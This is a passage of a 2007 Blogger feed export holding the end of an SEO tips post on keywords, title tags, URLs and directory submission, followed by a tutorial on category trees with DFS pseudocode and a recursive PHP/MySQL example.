style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;    &lt;/div&gt;&lt;p style="text-align: justify;" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;Example:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;A financial institution might call its product an "auto loan," but you or I would probably use the term "car loan" when searching online. Maybe we'd search for "car loans" (plural) instead of "car loan" (singular).&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;        &lt;p class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;span style="font-size:100%;"&gt;The best keywords have the following qualities:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Strong relevance to your s&lt;/span&gt;&lt;span style="font-size:100%;"&gt;ite: terms for which you have content to support.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Relatively high search volume: terms people are actually look for.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Relatively low c&lt;/span&gt;&lt;span style="font-size:100%;"&gt;ompetition: terms with a small number of search results.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="font-weight: normal;"&gt;Helpful Tools:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:10;"&gt;&lt;a href="https://adwords.google.com/select/KeywordToolExternal"&gt;https://adwords.google.com/select/KeywordToolExternal&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:10;"&gt;&lt;a href="http://inventory.overture.com/d/searchinventory/suggestion/"&gt;http://inventory.overture.com/d/searchinventory/suggestion/&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RzLtJUErgnI/AAAAAAAAAB8/dvyVjcxawtc/s1600-h/mark2.gif"&gt;&lt;img style="border: 0pt none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RzLtJUErgnI/AAAAAAAAAB8/dvyVjcxawtc/s200/mark2.gif" alt="" id="BLOGGER_PHOTO_ID_5130423669791359602" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;HTML content:&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-left: 120px;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Optimize your &amp;lt;title&amp;gt; tags on each       page to contain 1 - 3 keywords.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Create unique Meta Tags for each page.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Use header tags appropriately (H1 &gt; H2 &gt;       H3).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Use keywords liberally yet appropriately       throughout each page.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Have unique content.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Have quality content.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Create a human sitemap.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Do not use inaccessible site navigation       (JavaScript menus).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Minimized outbound links.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Kept your pages under 100K in siz.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Design the navigational structure of the site to       channel PR to main pages (especially the homepage).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RzLt00ErgoI/AAAAAAAAACE/8PkJwDI4fxg/s1600-h/mark3.gif"&gt;&lt;img style="border: medium none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RzLt00ErgoI/AAAAAAAAACE/8PkJwDI4fxg/s200/mark3.gif" alt="" id="BLOGGER_PHOTO_ID_5130424417115669122" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;URLs:&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-left: 80px;" type="disc"&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Use Search Engine Friendly URLs (for dynamic       sites)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Use keywords in your domain (&lt;span class="nolink"&gt;http://www.keyword1.com/&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Use keywords in your URL (&lt;span class="nolink"&gt;http://www.example.com/keyword2/keyword3.html&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Use dashes instead of underscores to separate       words in your URLs&lt;/span&gt;&lt;span style="font-size:100%;"&gt; (keyword2-keyword3.html)&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RzLucUErgpI/AAAAAAAAACM/HNFhw0S0tlM/s1600-h/mark4.gif"&gt;&lt;img style="border: medium none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RzLucUErgpI/AAAAAAAAACM/HNFhw0S0tlM/s200/mark4.gif" alt="" id="BLOGGER_PHOTO_ID_5130425095720501906" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;Promotions:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-left: 120px;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Create      a page that encourages webmasters to link to your site&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Provide them the relevant HTML to create their       link to you&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Provide them with any images you may want them       to use (although text links are better)&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-left: 1.9902in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-left: 120px;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Submit      your site to all major search engines&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;http://www.google.com/addurl.html&lt;/span&gt;&lt;span style="font-size:100%;"&gt; (Use a &lt;span class="nolink"&gt;https://www.google.com/webmasters/sitemaps/siteoverview?hl=en&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;http://submit.search.yahoo.com/free/request&lt;/span&gt;&lt;span style="font-size:100%;"&gt; (Use the page list option)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;MSN (Finds your site via incoming links)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Ask (Finds your site via incoming links)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-left: 1.9902in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-left: 120px;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Submit      your site to all free directories&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;http://dmoz.org/add.html&lt;/span&gt;&lt;span style="font-size:100%;"&gt; (also powers Google Directory)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;a href="http://www.joeant.com/suggest.html"&gt;http://www.joeant.com/suggest.html&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style="margin-left: 1.9902in;"&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-left: 120px;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Continually      update your website will quality, unique content&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Continually      seek free links preferably from sites in your genre&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_NNaPD7bgeyQ/RzLutkErgqI/AAAAAAAAACU/4YouXI7HV7o/s1600-h/mark5.gif"&gt;&lt;img style="border: medium none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_NNaPD7bgeyQ/RzLutkErgqI/AAAAAAAAACU/4YouXI7HV7o/s200/mark5.gif" alt="" id="BLOGGER_PHOTO_ID_5130425392073245346" border="0" /&gt;&lt;/a&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;Avoid:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style="margin-left: 120px;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Make      an all Flash website (without an HTML alternative)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Use      JavaScript for navigation&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="margin-left: 120px;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Spam      other websites for incoming links&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Launch      your site before it is done&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-size:100%;"&gt;Use      duplicate content&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span class="nolink"  style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in;"&gt;&lt;span style="font-size:100%;"&gt;Usable and accessible sites tend to be search engine friendly by their very nature. Be patient! High rankings don't happen overnight. In other words you have SEO in mind before you start your website. And only submit once you have a complete website.&lt;span class="nolink"&gt;&lt;b style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8753040440182943704-3146291075763884454?l=ashiqul-islam.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ashiqul-islam.blogspot.com/feeds/3146291075763884454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=8753040440182943704&amp;postID=3146291075763884454' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/3146291075763884454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/3146291075763884454'/><link rel='alternate' type='text/html' href='http://ashiqul-islam.blogspot.com/2007/11/5-things-make-your-site-popular.html' title='5 Things: Make your site popular'/><author><name>swad</name><uri>http://www.blogger.com/profile/18217723521107748896</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='07853138415326753433'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_NNaPD7bgeyQ/RzLoY0ErglI/AAAAAAAAABs/CMPlLrT32wI/s72-c/mark1.gif' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8753040440182943704.post-496762864843461450</id><published>2007-09-09T10:11:00.000-07:00</published><updated>2007-09-13T22:38:13.414-07:00</updated><title type='text'>Single Table Multiple Category - Subcategory:</title><content type='html'>Some time it is needed to develop unlimited categories – subcategories. Usually we solve this problem by using TREE data structure. TREE is mainly used to represent data containing a hierarchical relationship between elements, records, family tree and table of contents. So TREE is the best structure to represent category-subcategory hierarchy.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;TREE Structure:&lt;br /&gt;&lt;/span&gt;A tree is a recursive structure that usually maps an ordered set of data from an internal definition to some &lt;em&gt;data space&lt;/em&gt;. Tree parts are often named after their contemporaries in family trees; trees contain nodes known as &lt;em&gt;parent&lt;/em&gt;, &lt;em&gt;child&lt;/em&gt;, and &lt;em&gt;sibling&lt;/em&gt;. Trees are made of &lt;em&gt;nodes&lt;/em&gt;, which can contain both data to be stored and always link to further levels in the tree. Trees are often formed from a single node known as &lt;em&gt;root&lt;/em&gt;; alternatively, trees may be built from a set of original nodes--this is known as a &lt;em&gt;forest&lt;/em&gt; of trees&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_NNaPD7bgeyQ/RuQu6z9aLgI/AAAAAAAAAAs/tj7NCGV57q0/s1600-h/tree.gif"&gt;&lt;img style="border: 0px none ; margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_NNaPD7bgeyQ/RuQu6z9aLgI/AAAAAAAAAAs/tj7NCGV57q0/s400/tree.gif" alt="" id="BLOGGER_PHOTO_ID_5108259465260051970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Representing TREE in a table:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_NNaPD7bgeyQ/RuQvPT9aLhI/AAAAAAAAAA0/ZKP04-4vDsQ/s1600-h/crate-table.jpg"&gt;&lt;img style="border: 0px none ; margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_NNaPD7bgeyQ/RuQvPT9aLhI/AAAAAAAAAA0/ZKP04-4vDsQ/s400/crate-table.jpg" alt="" id="BLOGGER_PHOTO_ID_5108259817447370258" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RuQ1_j9aLjI/AAAAAAAAABE/oJy0PRCS7M4/s1600-h/table-data.JPG"&gt;&lt;img style="border: 0px none ; margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RuQ1_j9aLjI/AAAAAAAAABE/oJy0PRCS7M4/s400/table-data.JPG" alt="" id="BLOGGER_PHOTO_ID_5108267243445825074" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RuQvkD9aLiI/AAAAAAAAAA8/yESgl6mE5MY/s1600-h/table-tree.jpg"&gt;&lt;img style="border: 0px none ; margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RuQvkD9aLiI/AAAAAAAAAA8/yESgl6mE5MY/s400/table-tree.jpg" alt="" id="BLOGGER_PHOTO_ID_5108260173929655842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Amazing DFS:&lt;/span&gt;&lt;br /&gt;The general idea behind a depth first search beginning at a starting node A is follows. First we examine the starting node A. Then we examine each node N along a path P which begins at A. That is we process a neighbor of A, then neighbor of (neighbor of A) and so on. After coming to the “dead end” that is, to the end of path P, we backtrack on P until we continue along another path P. And so on.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pre order Traversal:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;The first depth-first traversal method we consider is called preorder traversal. Preorder traversal is defined recursively as follows. To do a preorder traversal of a general tree:&lt;br /&gt;&lt;br /&gt;1. Visit the root first; and then&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;2. Do a preorder traversal each of the sub trees of the root one-by-one in the order given.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RuQ39D9aLlI/AAAAAAAAABU/84MaXvbymg0/s1600-h/dfs.gif"&gt;&lt;img style="border: 0px none ; margin: 0px auto 10px; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_NNaPD7bgeyQ/RuQ39D9aLlI/AAAAAAAAABU/84MaXvbymg0/s400/dfs.gif" alt="" id="BLOGGER_PHOTO_ID_5108269399519407698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Algorithm (DFS):&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;dfs(graph G)&lt;br /&gt;{&lt;br /&gt;list L = empty&lt;br /&gt;tree T = empty&lt;br /&gt;choose a starting vertex x&lt;br /&gt;search(x)&lt;br /&gt;while(L is not empty)&lt;br /&gt;{&lt;br /&gt;remove edge (v, w) from beginning of L&lt;br /&gt;if w not yet visited&lt;br /&gt;{&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;add (v, w) to T&lt;br /&gt;search(w)&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;search(vertex v)&lt;br /&gt;{&lt;br /&gt;visit v&lt;br /&gt;for each edge (v, w)&lt;br /&gt;add edge (v, w) to the beginning of L&lt;br /&gt;}&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;Example Code (PHP - mysql):&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;p&gt;&amp;lt;?php&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;p&gt; function cats_tree($id = 0,$table)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  static $categs = array ();&lt;br /&gt;&lt;br /&gt;  static $level = 0;&lt;br /&gt;&lt;br /&gt;  $level ++;&lt;br /&gt;&lt;br /&gt;              $sql = "SELECT category_id, category_name FROM  ".$table." WHERE parent = ". $id ." ORDER BY  sibling_order";&lt;br /&gt;&lt;br /&gt;              $result = mysql_query($sql);&lt;/p&gt;&lt;p&gt;        while ($row_category  = mysql_fetch_assoc($result))&lt;br /&gt;&lt;br /&gt;      {&lt;br /&gt;&lt;br /&gt;                          $rs[]  = $row_category;&lt;br /&gt;&lt;br /&gt;      }&lt;/p&gt;&lt;p&gt;&lt;br /&gt;              if (isset($rs)) {&lt;br /&gt;&lt;br /&gt;                              foreach ($rs as $row) {&lt;br /&gt;&lt;br /&gt;                                              $categs[$row['category_id']]  = str_repeat('|     ', $level -1)  .'|__'. $row['category_name'];&lt;br /&gt;&lt;br /&gt;                                              cats_tree($row['category_id'],$table);&lt;br /&gt;&lt;br /&gt;                              }&lt;br /&gt;&lt;br /&gt;              }&lt;br /&gt;&lt;br /&gt;              $level --;&lt;br /&gt;&lt;br /&gt;              return $categs;&lt;br /&gt;&lt;br /&gt;}&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;            $conn = mysql_connect("localhost",  "USER", "PASS");&lt;br /&gt;          mysql_select_db("DB_NAME");&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;p&gt; &lt;/p&gt;&lt;br /&gt;&lt;p&gt;                echo "&amp;lt;pre&amp;gt;";&lt;br /&gt;              print_r(cats_tree(0,"category"));&lt;br /&gt;              echo "&amp;lt;/pre&amp;gt;";&lt;/p&gt;&lt;br /&gt;&lt;p&gt;?&amp;gt;&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Output:&lt;/span&gt;&lt;blockquote&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RuodvJFCGiI/AAAAAAAAABc/2l8yPT9tNQM/s1600-h/category_output.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RuodvJFCGiI/AAAAAAAAABc/2l8yPT9tNQM/s400/category_output.jpg" alt="" id="BLOGGER_PHOTO_ID_5109929422933334562" border="0" 